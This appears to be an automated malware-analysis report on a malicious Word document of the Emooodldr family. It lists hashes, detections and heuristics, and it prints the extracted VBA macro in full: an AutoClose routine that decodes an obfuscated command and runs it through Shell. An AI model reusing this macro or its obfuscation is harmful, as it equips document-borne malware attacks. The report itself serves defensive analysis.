Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9094ab3ff3c91dfe…

MALICIOUS

Office (OOXML)

54.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 461b57e5434e0d87d2f673815cd1285e SHA-1: 0757b4581ac588ed47a7349fcf71c931c26631b3 SHA-256: 9094ab3ff3c91dfe6228bf3d225433b16442047fa63ed5e00f15dffc5676dac6
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function to execute a dynamically constructed string. This string is likely a command to download and execute a second-stage payload, consistent with the Emooodldr family. The ClamAV detection further supports this classification.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2023 bytes
SHA-256: baf4f2bd2d2273619d87f0d6c90c87489eca89667f4f6ddfc6206dc0fe8936fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function argentic(exuviation)
  gagging = Array("U", "D", "w", "s", "2", "B", "", "q", "3", "A", "T", "P", "H", "6", "l", "K", "1", "f", "d", "S", "r", "v", "V", "Z", "n", "8", "5", "J")
  dioscorein = Array("=", ".", "n", "N", "a", "o", "u", "?", "t", "j", " ", "w", "U", "q", "s", "m", "k", "c", "h", "f", "e", "p", "b", "/", ":", "x", "i", "d")
  
  oscinine = vbNullString
  
  For Each scriptitious In exuviation
    slimmer = portless(scriptitious, gagging)
    If slimmer > -1 Then
    oscinine = dioscorein(slimmer) + oscinine
    End If
  Next
  
  argentic = StrReverse(oscinine)
  
End Function

Public Function portless(remorselessness, ascaridole)
  surmise = 5981
  guemal = 8041
  For surmise = 0 To UBound(ascaridole)
    If ascaridole(surmise) = remorselessness Then
     guemal = surmise
    End If
  Next

  If guemal = 8041 Then
    guemal = -1
  End If
  
  portless = guemal
End Function


Sub AutoClose()
  exuviation = Array("K", "l", "d", "3", "2", "D", "r", "8", "r", "T", "d", "3", "3", "v", "n", "Z", "Z", "5", "A", "6", "", "J", "6", "A", "P", "r", "B", "K", "2", "l", "w", "J", "6", "P", "D", "f", "B", "K", "Z", "s", "H", "Z", "l", "B", "S", "D", "v", "d", "v", "q", "", "3", "K", "2", "U", "V", "2", "P", "1")
  mascally = argentic(exuviation)
  
  Application.Run "mispenning", (mascally)
  
End Sub


Private Sub mispenning(manpower)
   
   normalizes = 909
   kanagi = True
   
   While kanagi
     undercapitalization = normalizes + 611
     If undercapitalization - normalizes > 7 Then
       clearwings = allylation + "ll"
       Call VBA.Shell(manpower, vbNormalFocus - 1)
       kanagi = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: a5c1fff25f1a64b5aefa31dbf26e97c40f96230c055e00e8dedbc963571fe263
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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